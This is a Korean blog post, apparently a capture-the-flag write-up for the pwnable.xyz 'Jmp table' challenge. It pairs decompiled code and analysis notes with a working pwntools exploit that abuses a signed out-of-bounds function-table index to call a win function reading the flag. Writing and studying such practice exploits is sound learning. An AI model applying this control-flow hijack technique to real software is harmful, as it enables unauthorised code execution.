security/포너블 - pwnable.xyz

pwnable.xyz - Jmp table

민사민서 2023. 2. 5. 22:21
from pwn import *
p = remote("svc.pwnable.xyz", 30007)

p.sendlineafter("Exit", "1")
p.sendlineafter("Size: ", "0x400a31")
# unsigned_long(8B)에선 4294967294
# signed_int(4B)에선 -2
p.sendlineafter("Exit", "0xfffffffe")
p.interactive()

 

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+Ch] [rbp-4h]

  setup(argc, argv, envp);
  while ( 1 )
  {
    print_menu();
    printf("> ");
    v3 = read_long();
    if ( v3 <= 4 ) {
// 전역변수, .data: 0x6020C0
// do_exit, do_malloc, do_free, do_read, do_write 주소(8B씩) 들어있음
   vtable[v3](); 
    }
    else puts("Invalid.");
  }
}
int print_menu()
{
  return puts("1. Malloc\n2. Free\n3. Read\n4. Write\n0. Exit");
}
unsigned __int64 read_long()
{
  char s[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v2; // [rsp+38h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  memset(s, 0, 0x20uLL);
// 마지막 byte는 NULL로 
  s[(int)(read(0, s, 0x20uLL) - 1)] = 0;
// string to unsigned long, (변환할 문자열, 변환 멈춘 지점의 포인터를 넘겨줄 대상[char**], base)
// base=0이면 입력한 스트림 첫부분에 의해 유연하게~ (0x면 16, 0x는 아닌데 0으로 시작하면 8, 아니면 10)
  return strtoul(s, 0LL, 0);
}
void *do_malloc()
{
  void *result; // rax

  printf("Size: ");
// 전역변수, .data: 0x6020B0
  size = read_long();
// cf) malloc 가능한 최대 크기는 0xfeff90 바이트이다
  result = malloc(size);
  if ( result )
// 전역변수, .data: 0x6020B8
    heap_buffer = result;
  else
    heap_buffer = (void *)1;
  return result;
}
void do_free()
{
  if ( heap_buffer == (void *)1 )
  {
    puts("Not allocated.");
  }
  else
  {
    free(heap_buffer);
    heap_buffer = (void *)1;
  }
}
int do_read()
{
  if ( heap_buffer == (void *)1 )
    return puts("Not allocated.");
  else
    return read(0, heap_buffer, size);
}
int do_write()
{
  if ( heap_buffer == (void *)1 )
    return puts("Not allocated.");
  else
    return write(1, heap_buffer, size);
}
void __noreturn do_exit()
{
  puts("Bye.");
  exit(1);
}
int _() // 0x400a31
{
  return system("cat /flag");
}


Partial RELRO   Canary found      NX enabled    No PIE
- 전역변수 size_t size, void* heap_buffer, vtable[4]가 메모리 상 연속해있다
- 0x400a31 주소를 got에 overwrite 할 수도 있겠네 
- size를 엄청 크게 줘서 vtable[0]까지 overwrite? size 길이 제한 있어서 힘들겠네..
- oob 이용해서 풀자!
- vtable[v3](); 에서 v3은 signed int이다, 하지만 v3에는 unsigned long을 입력받을 수 있다
- index가 음수이면? heap_buffer, size 전역변수에도 접근 가능하다 (v3<=4 인지만 검사해서 취약)
pwndbg> p/x 0xffffffff-0x2+0x1
$1 = 0xfffffffe 
- size 변수에 0x400a31 주소 넣어두고, v3에 -2를 넣어 vtable[-2]() 실행시키자

'security > 포너블 - pwnable.xyz' 카테고리의 다른 글

pwnable.xyz - fspoo  (0) 2023.02.09
pwnable.xyz - l33t-ness  (0) 2023.02.07
pwnable.xyz - TLSv00  (0) 2023.02.05
pwnable.xyz - free spirit  (0) 2023.02.05
pwnable.xyz - xor  (0) 2023.02.05